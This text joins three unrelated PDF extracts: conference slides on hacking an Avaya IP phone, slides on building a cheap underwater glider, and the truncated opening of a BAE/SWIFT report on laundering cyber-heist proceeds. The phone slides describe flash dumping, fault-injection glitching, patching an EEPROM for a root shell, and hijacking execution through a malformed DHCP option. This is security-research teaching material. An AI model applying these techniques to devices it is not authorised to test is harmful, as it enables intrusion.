OF DIFFERENT PINOUTS, BUT ONLY A FEW PINS NEEDED • STANDARD CONNECTORS, BUT NOT ALWAYS THERE • MAY HAVE TO SOLDER RESISTOR ON UNPOPULATED HEADERS • CAN BE USED TO DUMP MEMORY (SOMETIMES) TEST POINTS AND DEBUG HEADERS http://www.keil.com/support/man/docs/ulink2/ulink2_hw_connectors.htm THE HARDWARE HACKING TOOLSET THE HARDWARE HACKING TOOLSET • MULTIMETER • FIND VOLTAGE OF UNKNOWN CHIP (3.3V,5V) • USE CONTINUITY TESTING TO FIND WHERE TEST POINTS ARE CONNECTED TO • AND VERIFY PROPER CONNECTION THE HARDWARE HACKING TOOLSET • LOGIC ANALYZER • DIGITAL ELECTRONIC IS 1 AND 0 • (IN THE FORM OF 3.3V AND 0V OR 5V AND 0V, OR …) • CAN DECODE PROTOCOLS AND PROVIDE AN HIGHER LEVEL OF ABSTRACTION (UART TO “DATA”, …) THE HARDWARE HACKING TOOLSET • SERIAL CONSOLE CABLE (“FTDI CABLE”) • CONNECTS TO UART • USUALLY HANDLE EITHER 3.3V OR 5V • NOT BOTH! • THE SPARK FUN ONE CAN BE CONVERTED ONE TO ANOTHER BY CUTTING A TRACE • CAN POWER DEVICES SOMETIMES • (HENCE THE VCC PIN FROM BEFORE) THE HARDWARE HACKING TOOLSET • BUSPIRATE • TALKS LOTS OF PROTOCOLS • UART • SPI • I2C • … • CAN USE PYTHON TO CONTROL IT • EXTREMELY VERSATILE • DUMP FLASH • MODIFY EEPROM • PROGRAM AVR • … THE HARDWARE HACKING TOOLSET • JTAG DEBUGGER • FROM SUPER CHEAP TO EXTREMELY EXPENSIVE • FLYSWATTER WITH OPENOCD IS CHEAP • JLINK AND ITS GDB STUB IS OK • LAUTERBACH AND TRACE32 IS PRO BUT $$$ • JTAGULATOR • AWESOME TOOL TO FIND JTAG THE HARDWARE HACKING TOOLSET • FLASH READER • LOTS OF USEFUL THINGS STORED ON EXTERNAL MEMORY • IN CIRCUIT PROGRAMMING VS DESOLDER • SPI VS PARALLEL (NAND FLASH) • …MORE ABOUT IT IN A SEC THE HARDWARE HACKING TOOLSET • FAULT INJECTION AND SIDE CHANNEL • MORE ADVANCED AND USUALLY EXPENSIVE • LAST RESORT SOLUTION • USEFUL FOR HARDENED TARGETS • GAMING CONSOLES • SECURE BOOT AND CHAIN OF TRUST WHAT DO WE DO NOW? UART? FLASH? FIRMWARE? INSPECTING THE UART • FROM THE TWO UART PORTS, ONLY UART0 IS INTERESTING • BUT WE FACE A COUPLE OF CHALLENGES • NOTHING SHOWS UP AFTER LINUX IS BOOTED • PROBABLY LINKED TO THE /DEV/NULL CONSOLE • WE SHOULD BE ABLE TO INTERRUPT THE BOOT PROCESS, BUT KEY PRESS IS NOT WORKING? • WE’LL ADDRESS THAT IN ~10 MINUTES WHAT DO WE DO NOW? RECOVER THE FIRMWARE! RECOVERING THE FIRMWARE • TO RECOVER A DEVICE FIRMWARE, THE USUAL TRICKS: • FIND IT ONLINE (CAN BE ENCRYPTED…) • SNIFF A FIRMWARE UPDATE (USING PORT MIRRORING, NETWORK TAP, …) • HTTPS GETS MORE AND MORE IN THE WAY FOR THAT • DUMP THE FLASH • FLASHROM RECOGNIZES DOZENS OF FLASH CHIPS • OTHER DEDICATED TOOLS • MORE ADVANCED TRICKS HOW TO DUMP A FLASH? • IN CIRCUIT PROGRAMMING • USING CLIPS, POGO PINS, DIRECT SOLDER • COMES WITH POTENTIAL TROUBLE • YOU NEED TO POWER THE CHIP, WHICH IS CONNECTED TO THE REST OF THE DEVICE • FLASH READER MAY LACK THE AMPS FOR THAT, OR CPU BOOTS AND MESS WITH READER • FIND WAYS TO KEEP THE SYSTEM IN RESET (CPU’S RESET PIN, GROUND MYSTERIOUS TESTPOINTS, …) • DESOLDER THE CHIP • MIGHT BE HARD TO PUT IT BACK • USE KAPTON TAPE OR FOIL TO SHIELD COMPONENTS AROUND • FLUX MIGHT HELP • CAREFUL NOT TO BEND PINS HOW TO DUMP A FLASH? • POLITELY ASK U-BOOT • MOST COMMON BOOTLOADER (BUT NOT THE ONE USED HERE ) • NEED A SERIAL CONSOLE • HAS AN OPTION TO LOAD FLASH IN MEMORY AND DISPLAY HEX DUMP 👍 • ACCESS TO U-BOOT MIGHT BE DISABLED • GLITCH U-BOOT (YOLO APPROACH) • SHORT NAND WHEN U-BOOT LOADS THE OS • MAKES IT PANIC AND GIVE YOU A PROMPT 😈 https://twitter.com/dyngnosis/status/647534881820438529 HOW TO DUMP A FLASH? • USE JTAG • SOMETIMES INTERNAL/EXTERNAL MEMORY CAN BE READ VIA JTAG/SWD • DUMP RAM (WHICH MAY HAVE THE WHOLE FLASH LOADED IN MEMORY) • ANTI-READBACK CAN BE BYPASSED IF YOU CAN CONTROL EXECUTION • GLITCH THE DEVICE • USE THE CHIPWHISPERER TO CAUSE A FAULT DURING A PRINT AND LEAK EXTRA DATA • OR MAYBE TO BYPASS SECURITY BITS • “GLITCHY DESCRIPTOR FRMWARE GRAB” (SCANLIME) HTTPS://WWW.YOUTUBE.COM/WATCH?V=TECQATNCF20 WE HAVE THE FIRMWARE… LET’S ANALYZE IT! ANALYZING THE FIRMWARE FILE • BINWALK • ACT LIKE A BIG DICTIONARY OF KNOWN FILE FORMAT • CAN MEASURE ENTROPY (=HOW RANDOM DATA IS) TO FIND COMPRESSED/ENCRYPTED SECTIONS • COMPRESSED FILESYSTEM • SQUASHFS • JFFS • … • ELF HEADER / ARM CODE • COULD BE A BOOTLOADER Firmware already separated Binwalk extracts the files False positive Firmware for a different model U-Boot strings ☺ Filesystem ANALYZING THE FIRMWARE FILE • WHAT TO LOOK FOR? • FIRMWARE UPDATE MECHANISM (LIKELY TO CONTAIN KEY IF FW UPDATE IS ENCRYPTED) • /ETC/PASSWD, INIT SCRIPT, CERTIFICATES • “MAIN BINARY” • THE BOOTLOADER IS ALSO INTERESTING • TELLS LINUX HOW TO BOOT • MAY HAVE HIDDEN COMMANDS, DEBUG FLAGS, ETC. WHAT NOW? WE WANT A SHELL ON THE DEVICE! GETTING A SHELL • HOW TO GET A SHELL 🐚 • FIX THE SERIAL CONSOLE (REMEMBER THE UART LOG) • NEED TO LOOK AT WHAT THE BOOTLOADER IS DOING • MESS WITH BOOT ARGUMENTS (THE U-BOOT TRICK) • PATCH THE FIRMWARE / FILESYSTEM • PATCHING THE FIRMWARE WON’T WORK HERE BECAUSE IT IS SIGNED • PATCHING THE NAND FLASH • TOTALLY DOABLE BUT A BIT OF A HASSLE • THE SAME WAY WE CAN DUMP THE FLASH, WE CAN WRITE THE FLASH BACK • USE JFFS TOOL TO RECREATE A MODIFIED IMAGE AND FLASH IT BACK REVERSING THE BOOTLOADER • ARM ASSEMBLY 101 (GENERALIZED STATEMENT, TRUE MOST OF THE TIME): • THUMB IS 2 BYTES, ARM IS 4 BYTES • JUMPING (BX, BLX) TO ODD (+1) ADDRESSES MEANS THUMB, ELSE ARM • IF IDA IS WRONG (HAPPENS OFTEN), ALT+G AND CHANGE “T” REGISTER TO 0 OR 1 (ARM OR THUMB) • LR (LINK REGISTER) STORES RETURN ADDRESS (FOR BL, BLX INSTRUCTIONS) • ARM USES LITERAL POOL (DATA AMONG CODE TO BE DIRECTLY LOADED INTO REGISTERS) • ADDRESSES, MAGIC VALUES, OFFSETS, …. • FOR FUNCTION CALLS: ARGUMENTS GO IN R0-R3, RETURN VALUE IN R0 • DATA CACHE VS INSTRUCTION CACHE • CHECK AZERIA LABS TUTORIALS REVERSING THE BOOTLOADER • THE LOAD ADDRESS SITUATION… • WHEN LOADING A BINARY BLOB INTO IDA, IDA WANTS A LOADING ADDRESS • SOMETIMES THE ADDRESS IS PRINTED ON SCREEN WHILE THE DEVICE BOOTS • OR DATA CAN HINT TO THE ADDRESS • HEADER FOR CUSTOM FILE FORMAT • RESET VECTORS • OR YOU HAVE TO GUESS USING THE ABSOLUTE ADDRESSES TO STRINGS/FUNCTIONS FROM LITERAL POOL • GO CHECK OUT QUARKSLAB BLOG ABOUT IT Start of code in Bootimg 2 First 0x10 bytes of bootimg2 REVERSING THE BOOTLOADER • SEARCHING FOR STRINGS • THE CONSOLE LOG MENTIONS EEPROM AND /DEV/NULL • WE CAN LOOK FOR THESE STRINGS IN THE BOOTLOADER BINARY • THEN LOOK FOR CROSS-REFERENCES (XREF) INFO ABOUT THE SPI EEPROM • EEPROM AND SPI 101 • ELECTRICALLY ERASABLE PROGRAMMABLE READ-ONLY MEMORY • SO, NOT QUITE READ-ONLY…. • USUALLY FAIRLY SMALL AND SLOW • ONE KIND OF STORAGE AMONG MANY • SERIAL PERIPHERAL INTERFACE • BUS THAT CAN BE SHARED BY MULTIPLE DEVICES • 4 WIRES, 3 SHARED (MISO, MOSI, CLOCK) + 1 CHIP SELECT PER SPI SLAVE • MASTER SENDS COMMAND, THEN SLAVE SENDS REPLY https://www.arduino.cc/en/Tutorial/SPIEEPROM R4 = var_4B memset(var_4B,0,6) Read 5 bytes from 0x2B0 to [sp- 0x4B:sp-0x47] • LOGGING TELLS US IT’S AN EEPROM READ • FUNCTION SENDS A “3” COMMAND OVER SPI • EEPROM’S DATASHEET SAYS IT’S A READ COMMAND • SPI COMMAND USES DEDICATED MAPPED IO • CAN BE IN CPU’S DATASHEET • OR NEEDS TO BE GUESSED… HOW DID WE FIND THE READ_FROM_EEPROM FUNCTION? PATCHING THE EEPROM • PLAN OF ACTION • ACCORDING TO THE DATASHEET, WE KNOW THE COMMANDS TO READ/WRITE • WE NEED TO HAVE A SPI DEVICE TO INTERFACE WITH IT • ARDUINO AND RASPBERRY PI ARE GOOD CANDIDATES (BUT THEY USE 5V SPI, PHONE IS 3.3V) • BUSPIRATE CAN DO 3.3V • WE NEED TO CONNECT TO THE CHIP • SUPER TINY SO, SOIC CLIP AND HOOKS WON’T DO • CAN ORDER HAND-MADE POGO CONNECTOR FOR $70 AND 3 WEEKS LEAD TIME • MICRO SOLDERING IS ANOTHER OPTION WHY AREN’T THE INPUTS WORKING? • I WAS HOPING THAT ENABLING THE CONSOLE WOULD FIX THE ISSUE • THE RX PIN MIGHT BE SOLDERED TIED TO VCC/GND VIA RESISTOR • EVERYTHING POINTS TOWARDS A WORKING CONSOLE, SO WHY? • INSTEAD OF GUESSING LET’S LOOK AT THE BOARD! Vias WHY AREN’T THE INPUTS WORKING? • WE CAN TRY TO FOLLOW THE TRACES FROM THE PADS • SEE WHERE THEY’RE CONNECTED TO • MAYBE FIND SOMETHING SUSPICIOUS • VIAS CONNECT THE FRONT OF THE BOARD TO THE BACK • EVENTUALLY I LOOSE THE TRACES AROUND THE MOD CONNECTOR • ………. REMEMBER THE RECON PHASE ? WHY AREN’T THE INPUTS WORKING? • WE CAN TRY TO FOLLOW THE TRACES FROM THE PADS • SEE WHERE THEY’RE CONNECTED TO • MAYBE FIND SOMETHING SUSPICIOUS • VIAS CONNECT THE FRONT OF THE BOARD TO THE BACK • EVENTUALLY I LOOSE THE TRACES AROUND THE MOD CONNECTOR • ………. REMEMBER THE RECON PHASE ? • HOLDING A JUMPER CABLE CONNECTED TO THE TX OF THE FTDI CABLE • PRESSING ENTER WHILE POKING AT THE PINS • LOOKING AT THE RESULT IN THE SERIAL CONSOLE • SECOND PIN WORKED! THE CURSOR MOVE WHEN I PRESS ENTER! • SANDED ETHERNET PLUG TO MAKE IT FIT IN THE MOD PORT • USE RJ45 TO DB9 (“CISCO CONSOLE CABLE”) • JUMPER CABLE CONNECTS DB9 PINS TO FTDI CABLE THE CLEANER SETUP ROOT SHELL AND HOUSE KEEPING • WE HAVE A ROOT SHELL! WHAT’S NEXT ? • POKE AROUND THE LIVE SYSTEM • GET PRE-COMPILED BINARIES ON THE PHONE (GDB, DOOM, YOU NAME IT…) • THE ORIGINAL GOAL WAS TO AUDIT THE MAIN H.323 APPLICATION • THE CONSOLE IS FLOODED WITH DEBUG MESSAGES • IF WE KILL PROCESSES, THE WATCHDOG KICKS IN AND REBOOTS THE PHONE • MAGIC COMMANDS: • KILL THE WATCHDOG DEAMON • TELL LINUX TO STOP CARING ABOUT WHATCHDOG • KILLS THE VERBOSE PROCESSES • PIDS ARE SOMETIMES A LITTLE OFF • DEPENDS ON WHAT YOU WANT TO DO IT’S VULN RESEARCH TIME! POKING AROUND • IT’S NATURAL ONCE WE HAVE ROOT SHELL TO: • HAVE A LOOK AT THE RUNNING PROCESSES • HAVE A LOOK AT THE OPEN PORTS (AND WHO IS OPENED THEM) • HAVE FUN AND EXPLORE ☺ POKING AT DHCLIENT • DHCLIENT IS INTERESTING TO LOOK AT: • IT IS ALREADY RUNNING • IT IS A NETWORKED PROCESS • IT’S A CHANGE FROM UDHCPC • GIVES US REALLY SURPRISING RESULTS • A 2007 COPYRIGHT ! • SEGFAULT ?! • FUNKY ERROR MESSAGE VERIFYING THIS VERSION IS STILL VULNERABLE • WE’RE GOING TO COMPARE THE ORIGINAL SOURCE CODE WITH THE FIXED ONE • WE HAVE A WORKING EXPLOIT FOR X86 THAT HINTS HOW TO EXPLOIT THE BUG • IT’S A BASIC STACK OVERFLOW… • WE NEED TO CHECK IF MODERN MITIGATIONS ARE IN PLACE ON THE PHONE • STACK COOKIE • ASLR • SET UP A DEBUG ENVIRONMENT • LIVE ON THE PHONE (HARD BECAUSE OF DHCLIENT INTEGRATION WITH H.323 STACK) • OR EMULATION (MORE TIME CONSUMING TO SETUP, BUT MORE FLEXIBLE) Patched Vulnerable No stack canary Vulnerable Found function with strings it uses EXPLOITATION TIME! GETTING THE BEST ENVIRONMENT • MANUALLY RUNNING DHCLIENT ON THE PHONE MAKES IT SEGFAULT • MAYBE SOMETHING ON THE PHONE IS INTERFERING • OR IT IS DUE TO AVAYA’S MODIFICATIONS (REMEMBER THE CURIOUS ERROR MESSAGE) • WE SHOULD BE ABLE TO RUN IT IN QEMU SETTING UP QEMU • QEMU CAN EMULATE ARM EITHER FOR USERLAND OR AS A FULL-SYSTEM • USERLAND WON’T DO HERE BECAUSE CONNECTIVITY COMPLEXITY • DHCLIENT WANTS TO CHANGE IP ADDRESSES • SOME WEIRD PIPE DETAILS WE WILL COVER IN A SECOND • WE CAN BUILD A CUSTOM LINUX KERNEL WITH BUSYBOX AND ADD THE LIBRARIES WE NEED FOR DHCLIENT • HTTPS://WWW.ZACHPFEFFER.COM/SINGLE-POST/BUILD-THE-LINUX-KERNEL-AND-BUSYBOX-AND-RUN-ON-QEMU • HTTPS://LEARNINGFROMYOUBLOG.WORDPRESS.COM/2016/04/05/131/ • WE WANT TO BUILD A VEXPRESS-A9 IMAGE RUNNING QEMU • WE HAVE TO RUN QEMU WITH PROPER NETWORK • DEFAULT CONFIGURATION WILL PROVIDE A DHCP SERVER, WHICH WE DON’T WANT • WE NEED TO BE INTENTIONAL WITH OUR NETWORK STACK • HTTPS://ALBERAND.GITHUB.IO/HOST-ONLY-NETWORKING-SET-UP-FOR-QEMU-HYPERVISOR.HTML • HOW TO EXIT QEMU ☺ • CTRL+A, THEN X DEBUGGING DHCLIENT • TO RUN DHCLIENT FROM INSIDE QEMU • DHCLIENT -SF /SBIN/DHCLIENT-SCRIPT -V CCP.AVAYA.COM -H AVX2504A4 ETH0 • STILL SEGFAULT • LOOKING AT WHERE THE SEGFAULT HAPPENS, WE FIND HINTS OF AVAYA’S MODIFICATIONS • DHCLIENT GOT TWEAKED TO INTERACT WITH AVAYA’S H.323 STACK • MORE COMMAND LINE OPTIONS • “WEIRD SOCKET” DHCLIENT TWEAKS • OPENS A NAMED SOCKET (AF_UNIX) • “SPARK_DHCPSERVER” • READS FROM IT TO GET CONFIGURATION VALUES • EASIER TO HAVE A LOOK AT THE BINARY THAT LISTENS ON THE SOCKET AND SENDS THE CONFIGURATION VALUES • WE NEED TO HAVE A LOOK AT THE H.323 BINARY FOR THAT • ABSENCE OF THE SOCKET WILL MAKE DHCLIENT CRASH dhcp Init dhcp thread Store the socket handle • CODE FROM THE H.323 STACK • “DHCPCINTERFACEINIT” FUNCTION • CREATE A NEW NAMED LISTENING SOCKET • “SPARK_DHCPSERVER” • SEPARATE THREAD WILL READ/WRITE TO IT • THE XREF TO THE SOCKET HANDLE POINTS US TO THE DHCP THREAD FUNCTION INITIALIZING THE DHCP INTERFACE Name the socket dhcp thread Prepare the buffer to send Send 0x14 bytes Python re-implementation DEBUGGING DHCLIENT (FOR REAL THIS TIME) • RUN THE PYTHON SCRIPT ON HOST, SOCAT IN QEMU • SOCAT IS A FANCY VERSION OF NETCAT, HANDLES AF_UNIX SOCKETS • DHCLIENT CAN BE RUN IN GDB AS WELL: • GDB /BIN/DHCLIENT -EX "B *0X14DD8" -EX "R -SF /SBIN/DHCLIENT-SCRIPT -V CCP.AVAYA.COM -H AVX2504A4 ETH0" -EX "B *0X00020AA4“ • THE BREAKPOINTS (–EX “B *0X…”) ARE HERE TO BREAK WHEN DHCLIENT MESS WITH OUR IP ADDRESS • WHEN WE BREAK, WE RE-CONFIGURE THE IP ADDRESS TO A STATIC ONE SO THAT SOCAT DOESN’T GET CONFUSED • FINALLY, WE CAN SEND ROGUE DHCP PACKETS AND SEE THE RESULT • COULDN’T GET THE ORIGINAL POC TO COMPILE 🤣 • USED A SCAPY-BASED ONE INSTEAD (FROM A DIFFERENT DHCLIENT EXPLOIT) REACHING THE VULNERABLE CODE PATH • THE BUG HAPPENS WHEN SENDING AN INVALID-SIZED SUBNET-MASK OPTION • DHCP OPTIONS ARE TLV (TYPE, LENGTH, VALUE) • THE SUBNET-MASK OPTION TYPE IS “1” • THE LENGTH SHOULD BE 4 (IT’S A 4 BYTES MASK) BUT WE CAN SEND 255 BYTES • WE CAN USE SCAPY TO CRAFT A DHCP REPLY WITH THE INVALID DATA • BEST TO HAVE A PAYLOAD WITH AN EASY TO FIND BYTE-PATTERN EXPLOITING THE VULNERABLE CODE PATH • WE CONTROL THE EXECUTION FLOW 🤘 • THE FUNKY BYTE PATTERN WE’VE USED TELLS US WHICH REGISTER WE CONTROL AND HOW • I SKIPPED ONE DETAIL • THERE WERE A COUPLE MORE SEGFAULTS BEFORE THIS ONE • INVALID READS TO ADDRESSES WE HAVE OVERWRITTEN WITH OUR PAYLOAD • LDR R0, [R1] WITH R1 = 0X41414141 (OR SIMILAR) • NEED TO KNOW AN ADDRESS THAT CAN BE READ/WRITTEN TO (SAME AS THE ORIGINAL EXPLOIT) • OOPS, THERE’S NO ASLR… • PICK AN ADDRESS IN A WRITABLE REGION JUST TO BE SAFE • CAT /PROC/[PID]/VM_MAP LET’S CRAFT A SHELLCODE? EXPLOITING THE VULNERABLE CODE PATH • WE’RE NOT EXACTLY SURE WHERE OUR PAYLOAD IS IN MEMORY • AND THAT’S THE MEMORY MAP WE HAVE • STACK AND HEAP DOESN’T APPEAR TO BE EXECUTABLE • SHOULD WE ROP THEN? EXPLOITING THE VULNERABLE CODE PATH • WE’RE NOT EXACTLY SURE WHERE OUR PAYLOAD IS IN MEMORY • AND THAT’S THE MEMORY MAP WE HAVE • STACK AND HEAP DOESN’T APPEAR TO BE EXECUTABLE • SHOULD WE ROP THEN? WE DO CONTROL R4 😈 • WE CAN HUNT FOR DATA TO BE COPIED IN A STATIC LOCATION • TRY LOTS OF DIFFERENT DHCP OPTIONS, FILL THEM WITH “AAAA…” • THEN LOOK FOR THE STRING IN MEMORY • THE “DOMAIN” OPTION IS A GOOD ONE. EXPLOITING THE VULNERABLE CODE PATH DEMO TIME! CONCLUSION • MITIGATION? • MONITOR YOUR NETWORK • SEGREGATE YOUR NETWORK • TELL IT TO PATCH! • WHY THIS KIND OF BUG CAN HAPPEN? • TECHNICAL DEBT IS HARD • EMBEDDED DEVICES AREN’T BLACK BOXES • YOU TOO CAN FIND THESE BUGS NOW! QUESTIONS? FIND ME ON TWITTER @PHLAUL THANK YOU ALL! RESSOURCES TUTORIALS • ARM • HTTPS://AZERIA-LABS.COM/WRITING-ARM-ASSEMBLY-PART-1/ • FINDING THE BASE ADDRESS OF A BOOTLOADER • HTTPS://BLOG.QUARKSLAB.COM/REVERSE-ENGINEERING-SAMSUNG-S6-SBOOT-PART-I.HTML • QEMU: • HTTPS://WWW.ZACHPFEFFER.COM/SINGLE-POST/BUILD-THE-LINUX-KERNEL-AND-BUSYBOX-AND-RUN-ON-QEMU • HTTPS://LEARNINGFROMYOUBLOG.WORDPRESS.COM/2016/04/05/131/ • HTTPS://ALBERAND.GITHUB.IO/HOST-ONLY-NETWORKING-SET-UP-FOR-QEMU-HYPERVISOR.HTML • FLASH MODIFICATION • HTTPS://WWW.BLACKHAT.COM/DOCS/US-14/MATERIALS/US-14-OH-REVERSE-ENGINEERING-FLASH-MEMORY-FOR-FUN-AND-BENEFIT-WP.PDF • HTTPS://WWW.FLASHROM.ORG/ISP • GENERAL HARDWARE HACKING • HTTP://WWW.DEVTTYS0.COM/2012/11/REVERSE-ENGINEERING-SERIAL-PORTS/ • HTTPS://WWW.DEFCON.ORG/IMAGES/DEFCON-21/DC-21-PRESENTATIONS/PHORKUS-EVILROB/DEFCON-21-PHORKUS-EVILROB-HACKING-EMBEDDED-DEVICES- BAD-THINGS-TO-GOOD-HARDWARE.PDF • HTTPS://WWW.PENTESTPARTNERS.COM/SECURITY-BLOG/HOW-TO-READ-FROM-AN-EEPROM/ • HTTPS://PUBLISHED-PRD.LANYONEVENTS.COM/PUBLISHED/RSAAP15.6381_AP18/SESSIONSFILES/4419/CMI-R03-EMBEDDED-SYSTEMS-OR-HOW-I-LEARNED-TO- START-WORRYING-AND-HATE-IOT_FINAL.PDF • HTTPS://BLOG.SENR.IO/BLOG/JTAG-EXPLAINED • GLITCHING ATTACK • HTTPS://WWW.YOUTUBE.COM/WATCH?V=TECQATNCF20 (GLITCHY DESCRIPTOR FIRMWARE GRAB - SCANLIME:015) PRIOR WORK • RED BALLOON SECURITY PRESENTATIONS ON AVAYA • HTTPS://WWW.RSACONFERENCE.COM/VIDEOS/STEPPING-P3WNS-ADVENTURES-IN-FULL-SPECTRUM- EMBEDDED-EXPLOITATION-DEFENSE • HTTPS://WWW.RSACONFERENCE.COM/WRITABLE/PRESENTATIONS/FILE_UPLOAD/BR-T08-EMBEDDED- EXPLOITATION-PARTY-TRICK.PDF • DHCLIENT EXPLOITS • HTTPS://WWW.EXPLOIT-DB.COM/EXPLOITS/9265 • HTTPS://WWW.EXPLOIT-DB.COM/EXPLOITS/36933 CAPTURE THE FLAG • HTTPS://MICROCORRUPTION.COM/ • HTTPS://HOLIDAYHACKCHALLENGE.COM/2015/ • HTTPS://GITHUB.COM/PRAETORIAN-CODE/DVRF
pdf
¥10000 Yen Into the Sea Bio: Flipper Job Title:Engineering Technician What: Electric Vehicles Goal: Build a low cost underwater glider “If you want to make an apple pie from scratch, you must first create the universe.” - Carl Sagan What is an underwater glider? Underwater Gliders: -Highly efficient autonomous submarines that can travel long distances on battery power Background ARGO Floats http://www.argo.ucsd.edu/float_design.html http://www.argo.ucsd.edu/operation_park_profile.jpg http://www.webbresearch.com/pdf/EurekaMoment.pdf http://discovermagazine.com/1996/apr/athousanddivingr734 "The Slocum Mission" - Henry Stommel April 1989 - Oceanograpy Magazine http://auvac.org/uploads/publication_pdf/the_slocum_mission.pdf http://www.webbresearch.com/slocumglider.aspx "Scarlet Knight" ● "Scarlet Knight is 93 inches in length. Most of the gliders flown by Rutgers are 84 inches" ● 23.8 kilograms of Batteries ● 59.1 liters displacement ● ~4,500 mile trip ○ source:http://rucool.marine.rutgers.edu/atlantic/about_gliders.html ● Lithium CSC @ 900Wh/kg =21.42kWh ○ source:http://www.electrochemsolutions.com/pdf/Echem%20Corporate%20Case%20Study_Slocum%20Glider.pdf How do you make an Underwater Glider? Design Spiral: 1. Define Requirements 2. Research 3. Buoyancy engine 4. Energy Storage 5. Attitude Control System 6. Hull Design 7. Testing Efficiency crucial elements of an Underwater Glider -Low Drag Hull Form -Buoyancy Engine Conservative:Torpedo(Myring 1976) Bold:Laminar Flow X-35(Carmichael 1966) Define Requirements: 1. Low Price($100 Target) 2. Difficulty of manufacture(In my boxers) 3. Range/Efficiency(Fingers crossed) Early Efforts During Learning Phase -Axial Piston Syringe Pump Research (Considered a variety of approaches) ● High Test Peroxide ● Free Piston Diesel ● Hydraulic Pumps ● Electric Motors ● Linear Actuators ● Wave Power/Solar Buoyancy Engine -Phase Change Material("PCM") -Not N-Pentadecane(~10 degree C melting point) -Canning wax: http://en.wikipedia.org/wiki/Paraffin_wax " In chemistry,paraffin is used synonymously with "alkane", indicating hydrocarbons with the general formula CnH2n+2" -- Expands ~8-12 percent at Phase Change --Melting Point ~60 degree C(varies with composition) Energy Storage ● Lithium CSC Chemistry: ○ ~549Wh/kg ○ ~1170Wh/L source:http://www.batteryspecialties.com/electrochemcsc93dd.aspx ● Manganese Dioxide Lithium Coin Cell: ○ 3V @ ~265mAh CR2330 ○ 209Wh/kg source: http://www.panasonic.com/industrial/includes/pdf/Panasonic_Lithium_CR2032_CR2330.pdf ● Zinc Air Chemistry: ○ ~367.5 Wh/kg ○ ~1300 Wh/L! ● High Test Peroxide (HTP): ○ ~ 813 Wh/kg ○ ~1187 Wh/L source:http://wiki.xtronics.com/index.php/Energy_density#Energy_Density_sorted_by_Wh.2Fl Attitude Control System (AHRS+GPS) Source Code: http://freeimu.varesano.net/node/779 Hull Design (NACA 0020 & X-35) -"Finess Ratio" -"Aspect Ratio" ROUND 1 -"Finess Ratio" -"Aspect Ratio" Uh Oh... ● Composite Layup:1 ● Flipper: 0 Fiberglass was not as easy as it looked on Youtube! Time to Launch at that rate = Too Long Needed a Plan B Needed a Plan B ROUND 2 Bill of Materials Summary: Total Printed ABS(grams) 683 Total Cost Printed Parts: (at $31.00/kg) $21.17 Total BoM $277.30 Benefits of 3D printing -Reduced engineering burden to purchase and evaluate CoTs components -With commercial services on the market, the criteria for low barriers to entry are met -Design rules similar to Plastic Injection Molding Obstacles: -With no simulation, test data was expensive to generate -With no firm targets or test data, it was difficult to quantify design improvements or identify a finished product Influence of "Out of pocket" on R&D: Pros: -no reporting requirements, outside influences on project direction, or accountability. Cons -Very small funding agency -Dubious appropriation of retirement savings -Free labor(opportunity cost) vs. buying CoTs solutions -Test Max Depth & Velocity -Trim Vehicle Buoyancy = 3M Microballoons Ballast = Salt -Solid Models, BoM, & Source Code on DVD -OpenGlider.com = latest revision of source files What's Next? http://www.boatdesign.net/forums/sailboats/frontal-area-resisantance-vs-wetted-surface-21502.html#post188208 (Carmichael 1966) Carmichael, Bruce H "Underwater Vehicle Drag Reduction through choice of Shape". AIAA 2nd Propulsion Joint Specialist Conference, Colorado Springs, USA, June 1966, Paper No. 66-657. (Myring 1976) Myring,D.F. (1976) A theoretical study of body drag in sub-critical axisymmetric flow. Aeronautical Quarterly, 27(3), pp. 186-194. http://www.boatdesign.net/forums/boat-design/myring-submersible-shape-24939.html (Chang 2009) Chang, Patrick, Aditya Shah, and Mukul Singhee. "Parameterization of the Geometry of a Blended-Wing-Body Morphing Wing." http://srl.gatech.edu/Members/ashah/ME%206104%20project%20report.pdf (Parsons 1974) Parsons, Jerome S., Raymond E. Goodson, and Fabio R. Goldschmied. "Shaping of axisymmetric bodies for minimum drag in incompressible flow."Journal of Hydronautics 8.3 (1974): 100-107. http://www.cafefoundation.org/v2/pdf_tech/Drag.Reduction/5.AIAA-48131-445.pdf Biblio Further Reading: Robosub.org Naval Engineering Support Team Navy Vehicle Primer http://auvac.com/ Questions? nickflipper@gmail.com
pdf
baesystems.com/SWIFT Follow the Money Understanding the money laundering techniques that support large-scale cyber-heists Follow The Money 2 // 28 1. Summary SWIFT plays a key role in helping its community to reinforce and safeguard the integrity of the global financial ecosystem, and maintains a relentless focus on security. As part of that focus, SWIFT has an ongoing commitment to intelligence sharing and thought leadership that contribute to the community’s understanding of the cyber threat and tactics of cyber criminals. One area where the community has expressed interest in gaining more insight is around the approaches cyber criminals use to extract money once they have executed a successful attack. With this in mind, SWIFT commissioned BAE Systems to research and write this report. Its aim is to illuminate the tactics and techniques used by cyber criminals to cash out so that the SWIFT community can better protect itself, through both cybersecurity controls and financial crime compliance processes. Large scale cyber heists, in which cyber-attackers manage to steal significant amounts of money from banks, continue to create news headlines. Various reports have been produced previously on how some of these attacks, such as those against banks’ high-value payment systems, succeed and how organisations can mount better defences. BAE Systems and SWIFT have jointly published reports on cyber heist techniques used against financial institutions and the evolution of the cyber threat to the banking community in 2017¹ and 2019² respectively. However, to date, there has not been significant material published on what happens to funds after they have been stolen. This report focuses on that area, specifically the money laundering related activities necessary for cyber-attackers to not only conduct and ‘cash out’ a successful attack but also avoid the money subsequently being traced. This report describes how money laundering is typically performed in the context of large-scale cyber heists. It illustrates key parts of the typical processes used by cyber-criminals with examples to help better inform readers on areas they should focus on to better prevent, detect and respond to money laundering. In addition, the report offers perspectives on areas in which controls could be further improved and how money laundering techniques may evolve. 3 // 28 1 https://www.baesystems.com/en/cybersecurity/feature/the-evolving-cyber-threat-to-the-banking-community 2 https://www.baesystems.com/en/cybersecurity/feature/the-evolving-advanced-cyber-threat-to-financial-markets "...there has not been significant material published on what happens to funds after they have been stolen. This report focuses on that area..." baesystems.com/SWIFT 2. Introduction The activities of all cyber-criminals, whether working individually, as part of a small gang, as organised crime groups, or even for a nation state, have resulted in annual total cyber-crime revenue estimated at USD1.5 trillion³. Banks remain a prime target for cyber-criminals because they are critical infrastructure that can facilitate direct access to cash/funds. The financial industry, however, is not an easy target. Banks, law enforcement and industry bodies continue to evolve cyber defences, improve information sharing, and regularly prevent money from ultimately being stolen even when the first stage of a cyber-attack may have seemed successful. Cross industry efforts such as SWIFT’s Customer Security Programme (CSP), which provides tools, information and a framework to help the SWIFT community secure itself, and payments screening services continue to evolve to mitigate cyber-attacks. For example, 91% of SWIFT customers, representing 99% of 